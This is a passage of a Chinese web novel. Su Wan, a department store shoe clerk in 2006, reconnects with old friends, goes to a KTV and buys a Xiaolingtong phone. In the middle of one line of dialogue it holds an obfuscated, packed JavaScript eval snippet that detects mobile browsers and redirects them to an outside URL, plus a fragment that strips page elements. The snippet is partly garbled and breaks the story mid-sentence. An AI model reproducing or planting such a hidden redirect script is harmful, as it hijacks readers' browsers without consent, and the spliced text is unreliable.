脚手架上有几个工人在走动,电焊的光一闪一闪的,像有人在天上划火柴。大楼外墙上有一块巨大的广告牌,上面写着“新百大·新生活——今秋盛装启幕”,广告牌底下是一个穿着连衣裙的模特照片,模特的脸被风吹日晒得有些模糊了。 苏晚看着那栋楼,看了很久。 大约过了十分钟,看到王莉从里面跑出来,脸上的表情跟进去之前完全不同——嘴角翘得老高。 “怎么样?”苏晚问。 “应该没问题!”王莉比了个“OK”的手势,“那个面试的男的说我‘形象好,适合做导购’。” “那很好啊。” “他说等通知,一个星期之内打电话。”王莉走过来挽住苏晚的胳膊,“走走走,我请你吃冰棍去。对面有个小卖部,有那种‘绿色心情’。” “行。” 两个人穿过马路,绕过地上的一滩积水,走到对面小卖部。小卖部的冰柜上盖着一床旧棉被,老板掀开棉被,从里面拿出两根绿豆冰棍递过来。冰棍的包装纸上凝着一层水珠,摸上去湿漉漉的。王莉从口袋里掏出钱递给老板。老板把钱接过去,塞进围裙口袋里,又把棉被盖回去。 她们就站在小卖部门口的遮阳棚下面。遮阳棚是蓝色的塑料布,撑在两根铁管上,边缘已经破了,垂下来一条一条的塑料丝。阳光从破洞里漏进来,在地上投下几个小光斑。 她们撕开包装纸。苏晚撕得很小心,沿着封口那条虚线一点一点撕,包装纸完整地剥下来,没有破。王莉直接扯开,包装纸裂成两半,她把一半塞进口袋,一半扔进旁边的垃圾桶。 冰棍是绿豆味的,甜度不高,咬下去有绿豆沙的颗粒感。苏晚咬了一口,含在嘴里,等它慢慢化开。凉意从舌尖蔓延到喉咙,再到食道,最后在胃里散开。 “你说,”王莉咬了一口冰棍,含含糊糊地说,嘴里还嚼着冰碴子,“咱们以后会不会真的在同一个商场上班?” “不知道。”苏晚说。 “我希望会。”王莉说,语气很认真,“不然多没意思。一个人上班多无聊啊。” 苏晚没说话,低头看着自己手里冰棍棒上印着的那行小字——“再来一根”三个字被水汽模糊了,她凑近了看,发现不是“再来一根”,是“味道好极了”。 她笑了一下。 “笑什么?”王莉凑过来看。 “没什么。”苏晚说,把冰棍棒扔进垃圾桶。 远处,百货大楼的脚手架上,电焊的光又闪了一下 一周后·苏晚收到录取通知 2006年8月 百货大楼重装开业了。 脚手架拆了。那些钢管、扣件、绿色的防护网,一夜之间全部消失了,像是从来没有存在过。墙面露出来,是崭新的米黄色涂料,在阳光下泛着一层淡淡的暖光。涂料是新刷的,有些地方还没干透的时候落上了灰,留下几个浅灰色的指印,在二楼拐角的位置。 门口立着两个充气拱门,红色的,鼓风机在拱门底部嗡嗡地响,把空气源源不断地灌进去。拱门上用白色字体写着“开业大吉”和“盛装迎宾”,每个字都有一人高。广场上铺了红地毯,从马路牙子一直铺到旋转门前面,地毯是新的,踩上去脚感很软,鞋底会陷下去一点点。两边摆满了花篮,花篮上的红绸带被风吹得飘来飘去,有些绸带缠在一起了,打了一个结。 音响里放着当时最流行的歌——好像是哪部电视剧的主题曲,循环播放,声音大到站在街对面都能听得一清二楚。 一楼鞋帽区装修得尤其亮堂。顶上是嵌入式灯管,一根一根嵌在石膏板吊顶里,白光打下来,照得每双鞋——不管是摆在展台上的单只样品,还是放在货架上的整盒新鞋——都亮闪闪的。地面是米白色的抛光砖,能照出人的倒影,苏晚第一天上班的时候低头看了一眼,看到自己的脸模模糊糊地映在地上,像隔着一层薄薄的水。 柜台是统一的白色人造石台面,边角包着不锈钢,防止磕碰。台面下面是一排抽屉,每个抽屉上都有锁,钥匙用一根细铁链拴在抽屉内侧。柜台后面是一整面墙的货架,木质的,漆成白色,每层隔板的高度都不一样,最矮的那层放童鞋,最高的那层放男鞋,要踮脚才能够到。 苏晚站在“金利来”柜台后面。 她穿着一件深蓝色的工装——短袖西装款式,领口有垫肩,肩膀处有点宽,显得她整个人更瘦了。左胸口别着一个银色名牌,长方形,四角是圆的,上面用激光刻着“百货大楼”四个字和她的工号“037”。工号下面是她的名字,“苏晚”,两个字,宋体。 她正在擦拭鞋面。 “苏晚!” 一个声音从走廊那头传来。 苏晚抬头。 两个男生从斜对面员工通道门口进来。 “李建张晨。”苏晚把手里的那只男鞋放下,眼睛亮了一下,“你怎么来了?” “我来看看你啊。”李建走到柜台前面,双手撑在台面上,上下打量着苏晚,“听说你来百大了?我还不信呢,结果孙磊跟我说在楼下看到你了,我就过来看看。” “你什么时候回来的?”张晨也从旁边探过头来,趴在柜台上,“我们都以为你还在上海呢。” 苏晚愣了一下,然后有些不好意思地笑了。她笑的时候把头微微低下去,下巴往胸口收,像是不想让别人看到她的表情。过了两秒才抬起头来,声音比平时轻一些:“回来快半年了。” “半年!”李建的声音高了半个调,双手从柜台上抬起来,在空中比划了一下又落回去。他的眉毛往上挑着,眼睛睁大了,嘴巴微微张开,“你回来半年了没跟我们说?” “我……”苏晚站在柜台后面,手里还攥着那块擦鞋的软布,手指无意识地揉着布角。她的视线从李建脸上移到柜台上,又从柜台上移到货架上的鞋盒上,最后停在柜台上那支笔上,“我想着等安顿下来再联系你们的。” “安顿下来?”李建歪着头看她,下巴往左边偏了偏,眉毛还是挑着,“你现在安顿下来了吗?” “算是吧。”苏晚指了指自己胸口的工牌,指尖点在“037”三个数字上,“上个月刚入职的。” “那你上个月也没联系我们啊。”张晨笑着说,语气没有责怪的意思,声音软软的,尾音往上翘。他的下巴还搁在手背上,嘴角弯着,两个酒窝若隐若现。 但李建的表情就认真多了。他从柜台旁边绕过来——柜台侧面有一个缺口,是给员工进出的——走到苏晚身边,侧过身来,面对面站着。他的个子比苏晚高一个头,低头看她的时候,脖子上的青筋微微凸起来。他压低声音说,音量只有两个人能听到:“你是不是不想联系我们啊?” “不是不是,”苏晚连忙摇头,声音也跟着低下去,“真的不是。就是……刚开始的时候,我刚从上海回来,什么都没定下来,我觉得……就是……” 她顿了一下,手里的软布被揉成了一团,攥在掌心。她的嘴唇动了动,像是在找一个合适的说法,但找不到,就停在那里。 “就是觉得不好意思?”李建替她说了出来。 苏晚点了点头。点得很轻,下巴只动了一下,但李建看到了。 李建看着她,没有立刻说话。他的表情从认真变成了什么——不是心疼,也不是责怪,是一种介于两者之间的东西,像是看到一个人做了一件他自己也会做的事。他沉默了两秒,然后开口了。 “你有什么不好意思的呀,”李建又说,声音比刚才大了一点,恢复了正常的音量,但语气还是低的,“我也不会笑话你啊。” 苏晚愣了一秒,然后“噗”地笑出声来。她用手捂住嘴,肩膀抖了一下。 “我就是打个比方。”李建也笑了,嘴角往两边咧开,露出一排整齐的牙齿,“你看你,还是跟在以前一样,你就一个人边上,谁都不说。” “你怎么知道?”苏晚抬起头,手从嘴边放下来。 “我又不瞎。”李建白了她一眼——眼珠往上翻了一下又落回来,带着一种“你这不废话吗”的表情,“你以为你藏得很好啊?好几次我都看到了,我就是没说出来。” 苏晚沉默了两秒。柜台上的日光灯管发出细微的“嗡嗡”声,跟远处音响里的音乐混在一起。然后她轻轻笑了一下。 “谢谢。”她说。声音很轻,轻到站在柜台另一边的张晨大概没听到。 “谢什么谢。”李建又拍了她一下,手掌落在她肩膀上,拍了一下,又拍了一下,像在拍一个皮球,“别整这些虚的。我就问你,你现在安顿好了没?” “安顿好了。” “那我们可以联系你了不?” “当然可以。” “那行。”李建满意地点了点头,下巴点了一下,又点了一下。他往后退了一步,回到柜台前面,双手重新撑在台面上,恢复了刚才那种放松的姿势。 这时候,有一个顾客走过来——一个中年女人,烫着短卷发,穿着一件碎花连衣裙,手里拎着一个塑料袋——在柜台前面看了看,视线从一双黑色高跟鞋移到一双棕色凉鞋上。苏晚立刻转过身,腰背挺直,双手交叠放在身前,微笑着说:“您好,想看点什么?需要我帮您介绍一下吗?” 顾客摆摆手,转身走了。塑料袋蹭在柜台上,发出“嚓”的一声。 李建和张晨对视了一眼。张晨从柜台上直起身来,把袖子从肩膀上放下来,拉平整。 “你现在上班忙不忙?”李建问。 “还行,刚开业人挺多的,但慢慢就有规律了。”苏晚说着,把刚才被顾客碰歪的一双棕色凉鞋重新摆正——鞋跟对齐,鞋头朝外,两只鞋之间留三指的距离,“一般是早班和晚班轮着上,早班八点到下午三点,晚班三点到九点半。” “那今天是什么班?” “早班,一会儿三点下班。” “那正好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437422|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”李建看了一眼手表——一块银色的电子表,表盘有点大,戴在他细细的手腕上显得不太协调,表带多打了一个孔,“今天晚上你有事吗?” “今天晚上?”苏晚想了想,手指在柜台上轻轻敲了两下,“没什么事。” “那咱们晚上聚聚呗。”李建说,手掌在台面上拍了一下,发出“啪”的一声,“好久没见了,张晨也去,我再叫上林栖。” “好。”苏晚点头。 “那就这么说定了。”李建拍了一下柜台台面,这一次拍得更用力一些,手掌弹起来的时候带起一点声响,“晚上去唱歌,满园春一家KTV,叫‘钱柜’还是‘钱厢’来着——” “钱柜。”张晨说。 “对对对,钱柜。小时房挺便宜的,晚上七点之前算下午场。” “行。”苏晚说。 “你可别再放我们鸽子了啊。”李建指着她,半开玩笑半认真地说。 “好” “不来我就天天来你柜台烦你。” “好,我一定来。”苏晚认真地说,点了点头。 “那我们把电话留一下。”李建从口袋里掏出一个小灵通——银白色的,“你现在用手机了吗?” “还没有,”苏晚说,“你把号码留给我,我下班回去给你打。” “行。”李建从柜台上拿了一支笔——是苏晚柜台里用来写标签的黑色记号笔,笔杆粗粗的,像一根小号的火腿肠——在一张宣传单的背面写下了一串号码。 宣传单是玉兰油的,铜版纸,表面有一层光膜,记号笔写上去有点打滑,数字歪歪扭扭的。李建写完一个数字就要用手背蹭一下,防止墨迹晕开。 “这里有白纸。”苏晚指着桌面上边角上被压着的纸张笑着说。那是一叠A4纸,裁成四分之一大小,用一个大铁夹子夹着,放在柜台最里面的角落。 “看到你太高兴了。”李建理直气壮地说,头也不抬,继续在宣传单上写。写完了,他把笔帽盖上,放回柜台上,把宣传单折了两折,递给苏晚。 苏晚接过来,展开看了一眼——一串数字,旁边还画了一个笑脸。笑脸的嘴巴画得特别大,弯成一个半圆,几乎占了整张脸的宽度。 她笑了,把宣传单折好,放进工装的口袋里。口袋在右边,工装的侧缝处,开口是斜的,刚好能放进去一张折好的纸。 “那我先走了,还得去楼下超市逛逛。张晨,走不走?” “走。”张晨跟上去,走了两步又回头,“苏晚,晚上见啊!” “晚上见。” 苏晚看着他们俩走远,穿过箱包区,坐电梯下楼。 苏晚站在原地,低头看了一眼李建刚才写字的那张宣传单——玉兰油的广告,上面印着一瓶乳液,旁边写着“让肌肤喝饱水”。她把它从口袋里掏出来,又展开看了一眼,那串歪歪扭扭的数字和那个嘴巴特别大的笑脸。 她把宣传单重新折好,这次折得更小,折成一个小方块,塞进口袋最深处。 然后重新回到柜台后面,继续整理。 嘴角有一点点笑意,不太明显,但如果仔细看,能看出来。 这时候,旁边的同事——一个烫着卷发的大姐——凑过来,小声问:“你朋友啊?” “嗯,以前初中认识的。”苏晚说。 “挺热闹的。”大姐笑了笑,嘴角的皱纹挤在一起,“年轻人就是要多聚聚。像我们这种结了婚的,想聚都没时间了。” 苏晚点了点头,没有说话。 她低头继续整理。她把展台上的鞋按颜色重新排了一遍——黑色的一排,棕色的一排,深蓝色的一排——每排之间留一拳的距离。 音响里放的歌换了一首,还是那个电视剧的主题曲,但声音调小了一些,可能是哪个工作人员觉得太吵了,把音量旋钮往左拧了半圈。旋律还在,但低音没那么震了,变成一种背景音一样的存在。 柜台后面的墙上有一面镜子——不是单独的镜子,是货架最上层的一块镜面背板,大概一米高,两米宽,嵌在白色的木质框架里。镜子里映出她的样子:深蓝色工装,银色名牌,名牌上的“037”三个数字在灯光下反着光。她身后的货架上,鞋盒码得整整齐齐,每个鞋盒的侧面都朝外,上面用黑色记号笔写着尺码——39、40、41、42——字迹工工整整。 她看了一眼镜子里的自己,然后低下头,继续干活。 她把一双深蓝色的男式皮鞋从盒子里拿出来,放在展台上,左鞋和右鞋并排摆好,中间留两指的距离。然后退后一步,看了一眼,觉得距离太近了,又往两边挪了挪。再退后一步看,满意了。 她弯腰把鞋盒放回货架上,手指碰到鞋盒的时候,口袋里的那张宣传单发出细微的“沙沙”声。 她的手指在口袋外面按了一下,确认它还在。 然后继续干活。 当天晚上·满园春钱柜KTV 包间不大,十几平米。墙面是深灰色的吸音棉,一块一块拼起来的,像巧克力排。沙发是米色的仿皮面,有几处开裂了,露出里面黄色的海绵。茶几是玻璃的,上面摆着点歌器和两个麦克风,麦克风的线缠在一起,打了两个结。墙上的电视是那种老式的背投,很大很厚,屏幕上的MV画质不算清晰,颜色偏红,每个人的脸都像是被晒伤了。 李建第一个拿起麦克风,站在电视前面,点了一首歌。 “苏晚,你来。”他把麦克风递过来,手柄朝前,网头朝自己。 苏晚坐在沙发中间,犹豫了一下,伸手接过来。麦克风的手柄是金属的,凉凉的,上面有汗渍,滑腻腻的。 屏幕上出现了一首歌——周华健的《朋友》。前奏响起来,钢琴和吉他,很慢。 苏晚看着屏幕上的歌词,等前奏过去。她的嘴唇微微张开又合上,像是在默念歌词。 第一句出来的时候,她的声音不大,被伴奏盖住了一部分。她的眼睛盯着屏幕,一眨不眨,身体坐得很直,双脚并拢放在地上,跟站在柜台后面的姿势一模一样。 唱到“朋友一生一起走”的时候,李建在旁边跟着哼,声音不大,但调子跑得很厉害。张晨在沙发上拍手,手掌拍在膝盖上,发出闷闷的“啪啪”声。 唱完了。苏晚把麦克风放下来,握在手里,低着头。 李建说:“你看你还是跟以前一样,唱歌的时候眼睛不敢看人。” 苏晚抬起头,嘴巴张了张,又合上了。过了两秒才开口:“我会的歌不多。”声音越说越小,最后两个字几乎听不到了。 “那就喝酒。”李建提议。他从茶几下面拿出几瓶啤酒,绿色的瓶子,瓶盖上印着金色的字——用瓶起子撬开,把其中一瓶推到苏晚面前。 苏晚接过来,喝了一口。啤酒是凉的,苦味在舌尖上炸开,然后很快散掉,变成一种淡淡的麦香。 后来其他人继续又唱了很多首经典老歌“摇太阳”,“相亲相爱”。一直到晚上11点多才散。 走出KTV的时候,九月底的夜风已经有点凉了,从领口灌进去,起了一层鸡皮疙瘩。苏晚把工装外套的拉链往上拉了拉——她下班的时候没换衣服,直接穿着工装过来的。 她站在KTV门口等了一会儿,看到一辆车从远处开过来,车头的灯在夜色里亮着,像两只眼睛。她跑了两步,追上去,在车门关上的前一秒跳上去。 车厢里没有几个人。最后一排靠窗的位置空着,她走过去坐下来。 车窗开了一条缝,晚风吹进来,带着夏夜特有的气味——混着烧烤的烟火味、路边花坛里的泥土味、还有一点点汽油味。风不大,但刚好能把鬓角的碎发吹起来,一下一下地拂过太阳穴。 她把头靠在玻璃上。玻璃是凉的,贴着太阳穴的位置,有一种很舒服的触感。窗外是倒退的路灯,一盏接一盏,每盏灯的光晕都是橘黄色的,在车窗上拉成一条一条的线,像流动的颜料。 口袋里,那张宣传单折成了一个小方块,边角被汗浸得有点软了,纸张不再是干爽的,而是带着一种潮湿的、温热的触感。 她从口袋里把它掏出来,展开。借着窗外忽明忽暗的路灯灯光——亮一下,暗一下,再亮一下——又看了一遍那串数字。李建的字写得歪歪扭扭的,“7”的横杠写得太短,看起来像“1”;“9”的圈没有闭合,像一条蝌蚪。 还有那个笑脸。嘴巴画得特别大,大得不像是笑脸,像是在打哈欠。 她把宣传单重新折好,沿着原来的折痕折回去,按了按,塞回口袋。手指在口袋外面又按了一下。 公交车经过百货大楼的时候,她往外看了一眼。 大楼的灯已经灭了。一楼到四楼,所有的窗户都是黑的。 苏晚看着那栋楼,直到它消失在车窗的边框之外。 她把头转回来,闭上眼睛。 嘴角的那个笑意,比白天的时候明显了一些。 57. 小灵通 日子就是这样开始的。 每天早上六点十分,苏晚在精品礼品店买的那种礼物闹钟会把她吵醒。苏晚通常会在第一声铃响还没落尽的时候就把被子掀开——她从来不给自己赖床的机会。 苏晚卡在7点半这个空档,用五分钟洗完脸,两分钟抹完“大宝”,一分钟把头发扎好。 大宝SOD蜜的瓶子是白色的,圆滚滚的,挤出来的乳液带着一股淡淡的甜香,她抹的时候习惯性地在掌心搓两下,再往脸上拍。头发扎起来也简单,手指当梳子拢两下,皮筋绕三圈,马尾的高度刚好在后脑勺偏下一点——太高显得精神过头,太低又没精神,这个高度是她试了好几次才定下来的。 家里现在不只有爸爸,小姨一家也住在这里。。她们家那一片正好赶上拆迁,如果不是苏晚临时决定从上海回来,三室一厅的房子住四个人是刚刚好的。 出门前她会在厨房逛一圈——小姨每天早上都会做早饭,有时候是白粥配咸菜,有时候是面条卧个荷包蛋,有时候是头天晚上剩的饭加点水煮成泡饭,就着腐乳吃。小姨做饭手脚快,也不讲究什么花样,但味道不差。苏晚端着碗站在厨房里,稀里呼噜喝完,把碗放进水池里冲一下,倒扣在灶台上。 其实苏晚挺感谢小姨的。拆迁之后她们家可以选别的地方租房子过渡,但小姨说一家人住在一起方便照应,就挤过来了。小姨教她做饭,站在旁边看她切土豆丝,说她切的太粗了,像薯条,让她慢一点,刀不要抬太高。苏晚学得慢,切了几天才勉强切成丝,小姨也没嫌她笨,只是说“慢慢来,熟能生巧”。 从家走路到百货只要10分钟。楼下的公交站点也能坐车直达百货门口,不过苏晚总觉得等车的时间太过漫长——有时候车还没来,她已经走到了。偶尔坐上一趟,她会靠在车窗边往外看。窗外的早晨是这座城市的早晨——骑自行车送孩子上学的家长,车筐里放着书包,后座坐着睡眼惺忪的小孩;早餐店的卷帘门拉开一半,老板蹲在门口拆蜂窝煤炉子,白汽从锅里冒出来,一团一团的;从菜市场出来的老人拎着塑料袋,袋口露出一把芹菜或者半截冬瓜。公交车经过“市二中”的时候,站牌旁边那棵梧桐树的枝叶还是老样子,从围墙上面探出来,叶子密密匝匝的。每天早上校门口那条过道上,自行车停成一排一排的,车把挨着车把,后座朝着马路,整整齐齐的,像列队的士兵。 到百货大楼是八点15分左右。她从员工通道进去,在更衣室换上工装。 八点半,她站在“金利来”鞋柜台后面。 一天就开始了。 上班的日子像复印机里吐出来的纸,一张接一张,内容差不多。 商场开门,广播先放一段轻音乐,然后是迎宾词:“亲爱的顾客朋友们,百货大楼全体员工热忱欢迎您的光临……”苏晚第一次听到的时候愣了一下,后来听习惯了,哪天没听到反而觉得不对劲。 上午的顾客不多。大多是附近的家庭主妇和退休老人,拎着菜篮子进来,在商场里转一圈,看看又不买。进门直走就是下负一楼的电梯,超市在底下。苏晚每天都要经过超市入口进仓库补货,超市上楼的电梯就在鞋柜斜角侧面,电梯上的人大包小包的,塑料袋蹭着扶手,发出沙沙的声响。偶尔有人在她柜台前停下来,目光随意地扫过那些皮鞋,脚步放慢,但不说话。苏晚从来不催,她把单鞋从架子上拿下来,摆正,鞋尖朝外,两只并拢,然后退到一边。等人看过来的时候,她就微微弯一下腰,嘴角往上牵一点,说“没关系,您慢慢看”。 她学会了很多东西。比如看顾客的眼神就能判断她想买什么——如果一个人进来先看价格签,目光在数字上停两秒,然后去看鞋,说明她对价格敏感,要推荐性价比高的,价位适中的,不能推新款,新款贵。如果一个人进来先摸皮面,翻过来看鞋底,甚至把鞋垫掀起来看一眼,那她多半懂行,苏晚就不敢乱开口,怕说错了被对方听出来。她接待顾客的时候有一套固定的姿势:跟人说话要微微侧身,不能正对着,正对会让对方觉得有压迫感;手要放在身前,手指并拢,不能插口袋,不能抱胳膊;眼睛看着对方的鼻梁,不高不低,太高像瞪人,太低像心虚。 下午三点,上早班的同事来接班。苏晚把手头的工作交接完,然后在更衣室换下工装,背上帆布包,从员工通道走出去。 走出商场大门的时候,通常是下午三点半左右。太阳还很高,影子在脚下缩成一小团。 有时候她会拐去菜市场买点菜。菜市场在回家的路上,巷子口进去走两步就到了。她买菜的时候学会了挑——茄子要选蒂头新鲜的,绿色的,捏起来硬挺挺的,蒂头发黄发干的就是放久了;黄瓜要摸上去有点扎手的,刺还在,皮上有细细的白霜,滑溜溜的是昨天剩的;西红柿不能太软,也不能太硬,太软的熟过了,太硬的没熟透,要那种按下去有一点点弹性的。卖菜的大姐认识她了,每次看到她都喊一声“姑娘又来啦”,称完了菜会多抓两根葱塞进塑料袋里,葱白上还带着泥。 到家之后,如果大家还没回来,她会先把菜洗好切好。然后坐在客厅的沙发上,翻一翻自已买的书。 苏晚很喜欢看书。 晚上九点多,她洗漱完,躺在床上。床是两张五斗橱架起来的,上面搁一块木板,铺上被褥就是床。离天花板很近,近到她躺下来的时候伸手能够着顶上的灯罩。有时候起床起得猛了,脑袋会撞到天花板上,闷的一声,不疼,但懵。她就伸手摸摸头顶,再摸摸天花板,像是在跟它说没事。 想着想着就睡着了。 第二天重复。 八月中旬的一个晚上 苏晚接到林栖的电话。 “清清,找你的”爸爸接的电话,喊了一声,然后听筒被搁在茶几上,发出一声轻响。苏晚从卫生间跑出来,手上还有肥皂泡沫,在裤子上蹭了蹭,拿起听筒。 “喂?” “晚晚!是我!”林栖的声音从听筒里传出来,带着小灵通特有的那种沙沙的电流声,尾音有点发颤,“你猜我在哪儿?” 苏晚把听筒换到另一只耳朵,肩膀夹着。“在哪儿?” “我在你柜台前面!你下班了?我来找你你不在!” 苏晚愣了一下,看了一眼墙上的钟,八点多了。“我三点就下班了呀。” “我忘了你是早班了。”林栖在那边叹了口气,声音拖长了,尾音往下坠,“我还特意跑过来想找你玩呢。白跑一趟。” “对不起啊,我应该跟你说的。” “算了算了。”林栖的声音忽然收紧了,变得认真起来,“所以啊,你得办一个小灵通了。” 苏晚沉默了一下。 小灵通。 她在上海的时候,看到过“小灵通”,那个铃声她听了大半年。她不是没想过买一部,但总觉得不是必需品。在上海和男朋友呆在一起也没想过买一部常联系,现在回来之后家有电话。她觉得自己没什么需要随时被找到的理由。 “办一个要多少钱?”她问。 “机子不贵,三四百块吧。话费也便宜,接听不要钱,打出去一毛多一分钟。”林栖说得飞快,好像早就把功课做好了,“你去电信营业厅办就行,选个号码,当场就能拿。” “我再想想。” “想什么呀想!”林栖急了,声音往上扬,“你想想,我每次找你都要先打你家电话,万一你不在家呢?你爸爸接电话,我有点不敢和他说找你出去玩。” 苏晚笑了一下,听筒贴在耳朵上,能听见那边林栖的呼吸声。““我爸爸人挺好的。” “不是人好不好的问题。反正不方便。你就办一个嘛,你办了之后我天天给你打电话。” “天天打?你不跟你男朋友打电话了?” “男朋友是男朋友,你是你。不一样。” 这句话让苏晚心里暖了一下。她握着听筒,手指在电话线的螺旋纹上绕了一圈。 “好,”她说,“我去办。” 八月的最后一个星期六,苏晚去了电信营业厅。 营业厅在市中心广场往上走的邮政局边上,和邮政局隔了两个铺面,门口摆着一个充气拱门,鼓风机嗡嗡响着,拱门上印着蓝色的大字——“小灵通·绿色健康·话费省一半”。大厅里人头攒动,多半是年轻人,趴在柜台上,手里捏着选号单,低头看纸上的号码,嘴里念念有词。墙上贴着一张巨大的资费表,蓝色底,白色字,从上到下密密麻麻的,最上面一行写着“小灵通业务资费标准”。 苏晚排了会队。轮到她的时候,柜台后面的营业员——一个烫着卷发的女人,跟她柜台旁边那个大姐长得很像——头也没抬地问:“办什么?” “小灵通。” “机子要什么颜色的?” 营业员从柜台下面摸出几台样机,排在台面上。白色的,银灰色的,浅蓝色的,还有一台粉色的。苏晚的手指从它们上面划过去,最后停在白色那台前面。 “这个。” 她交了钱。营业员把机子从塑料包装里拆出来,包装纸窸窸窣窣地响,塑料膜撕开,露出一台白色的、手掌大小的小灵通。机身是塑料的,正面有一小块屏幕,贴着一层保护膜,按键排列整齐,数字键是灰色的,拨号键和挂断键是绿色的。营业员翻过来,装上一块长方形的电池,咔哒一声扣好,又把后盖推上去。然后递给她一张纸,A4纸对折,上面印着十几行号码,每行前面都写着区号,后面跟着七位数字。 “选一个。” 苏晚把纸摊在柜台上,从上往下看了一遍。号码她看不太懂,没什么特别想选的,就挑了其中一个念出来。 营业员在电脑上敲了几下,光标在屏幕上闪了闪,她抬起头。“这个有人了。再选一个。” 苏晚又挑了一个。 “这个可以。”营业员把号码输进电脑里,手指在回车键上敲了一下,“好了。回去充电,充八个小时。” 苏晚把小灵通握在手里。比想象中轻,塑料外壳有点滑,背面贴着一张白色的标签,印着型号和进网许可证号,字小得几乎看不清。她把屏幕上的保护膜揭掉,露出底下亮晶晶的玻璃面,反射着头顶日光灯的光,白花花的一片。 她把它装进帆布包的侧袋里,拉链拉好,拍了拍。 走出营业厅的时候,她在门口停下来,把小灵通掏出来,翻到电话簿的界面,把林栖的号码输了进去。然后又翻了翻,发现电话簿里只有这一个号码。 她站在台阶上,把小灵通举起来,对着天空看了一眼。八月底的天很高很蓝,小灵通白色的外壳在阳光下有点晃眼。 她笑了一下,把小灵通放回包里。 小灵通改变了苏晚的生活节奏。 办完的第二天,林栖就打电话过来了。铃声响的时候苏晚正在厨房洗碗,手上全是洗洁精泡沫。 “小灵通买好了?” “嗯,昨天办的。” “号码多少?我存一下。” 苏晚报了一遍号码。林栖在那边重复了三遍。 挂了家里的电话,苏晚的小灵通就响了。 苏晚接起来,就听到林栖在那边喊,声音又尖又亮,“你的小灵通通了!” “嗯,是的。” “对了,你现在在干嘛?” “洗碗。” “哦……”林栖的尾音拖了一下,“那我先挂了,你洗完再打给我。” “好。” 那天晚上苏晚洗完碗,坐在客厅的沙发上,把小灵通翻到通话记录,找到林栖的号码,拨了过去。 那边响了两声就接了。 “洗完了?” “洗完了。” “好快啊你。” 两个人聊了二十多分钟。聊林栖的男朋友——是在当年论坛聊天室认识的,那时候苏晚就觉得林栖喜欢的是那种皮的男生,和她大学时期的班长不是一类人。班长是阳光运动型的,说话做事都规规矩矩,而她这个男朋友是聊天室里认识的,说话带刺,爱开玩笑,林栖偏偏吃这一套。聊苏晚回来之后又回上海那一年多没见的日子,聊各自的生活。 “嗯?李建和王晓婷在一起过?” “你不知道?”林栖愣了一下,声音往上扬了扬。 “不知道。”苏晚想了想,手指在沙发扶手上画了个圈,“我可能平时没关注这些吧。” “这样啊!那我就不说了。”林栖那头沉默了一下。 “好。”苏晚说,“我如果想谈恋爱了,再细问你和李建。” “那我就不一定会说哦。”林栖在那头轻笑了一声,声音低低的,像在喉咙里滚了一下,“谁没事就拿自己的感情史说事呢?” “嗯嗯嗯。”苏晚就听着,偶尔嗯一声。 “你怎么不说话?”林栖问。 “我在听啊。” “你就光听。我跟你说这么多,你就没什么想说的?” 苏晚想了想,把腿盘起来,后背陷进沙发里。“那个……你知道自考大专的事情?”“我在听啊。” “我也不知道。要不我后期问问” “好。” “你看,你又说‘好’。”林栖在那边笑了,笑声脆生生的,“你就不会说点别的?比如——‘哇,好厉害’——之类的?” “哇,好厉害。”苏晚学着说了一句,声音平板板的,说完自己先笑了,笑得弯了腰,额头抵在膝盖上。 “你学得一点都不像。”林栖也笑了,“算了算了,你就是这种人。我习惯了。” 挂了电话之后,苏晚看了一眼通话时长——23分47秒。她把小灵通放在茶几上。 林栖开始频繁地出现在苏晚的柜台前。 通常是晚上。林栖跟男朋友约会结束之后——他们约会也没什么特别的,就是在步行街逛逛,在肯德基坐坐,或者看一场电影——然后男朋友骑摩托车送她到百货大楼门口。摩托车突突地停在路边,林栖从后座跳下来,头盔摘了,头发乱成一团,她用手拢两下,冲男朋友挥挥手,摩托车就开走了。 这时候通常是晚上八点多,商场快关门了。顾客不多,一层楼没几个人,苏晚的柜台前更是冷清。林栖就趴在柜台上,下巴搁在玻璃面上,两只手垂在柜台外面,晃来晃去,跟苏晚说话。 “我跟你说,今天我男朋友带我去网吧打一款新游戏。”林栖叹了口气,翻了个身,把脸贴在台面上,玻璃凉凉的,她的脸压出一小块雾。 “很好玩?”苏晚一边擦柜台一边问,手里的抹布从这头推到那头,把灰尘拢到一起。 “好玩。”林栖的手指在玻璃上画圈,画了两圈,停下来。 “你坐了几个小时?” “嗯,没在意时间。”林栖愣了一下,手指停在半空。 苏晚把抹布叠好,放在柜台下面的挂钩上,抹布对折,再对折,整整齐齐的。 “你天天跟男朋友见面,不腻吗?”她问。 “不腻啊。”林栖理所当然地说,下巴从玻璃上抬起来,留下一圈雾印子,“怎么会腻呢?你要是谈了恋爱你就知道了——你恨不得天天跟他在一起。” 苏晚没说话,目光落在柜台角落的鞋盒上,手指在盒子边缘蹭了蹭。 “你还没谈恋爱?”林栖抬起头看她,下巴搁在手背上,眼睛往上翻。 “你猜。”苏晚侧头看着林栖。 “有?” “你猜。” “一定有。”林栖从柜台上撑起来,身子往前探,靠近苏晚,“说说?” 苏晚的手指在鞋盒上停住了,她低头看了一眼自己的手,又抬起来,看着林栖。 “没什么好说的。”她转过头去整理那排单鞋,把鞋尖摆正,两只并拢,退后一步看了看,又往前推了推。 林栖看着苏晚,目光在她脸上停了几秒,没再追问。她自己从柜台上直起身来,伸了个懒腰,胳膊举过头顶,手指交叉往上顶了顶,骨头响了一声。 “走吧,我陪你下班。” “行。” 苏晚把柜台边顾客试穿后没选中的鞋子拢到一起,堆在臂弯里,走下电梯。仓库在地下一层,穿过超市入口,拐个弯,尽头是一扇铁皮门。她把鞋子按尺码放回架子上,鞋盒塞进去,推到底。回到柜台的时候,广播里开始放结束音乐,萨克斯的,旋律软绵绵的,一层一层往上飘。她把柜台桌面擦了一遍,柜台抽屉锁好。 两个人从员工通道走出去。通道里的灯关了一半,隔一盏亮一盏,光线一段一段的,亮一段暗一段。推开后门,外面的空气涌进来,带着一股炒菜的油烟味和远处垃圾桶的酸腐气。 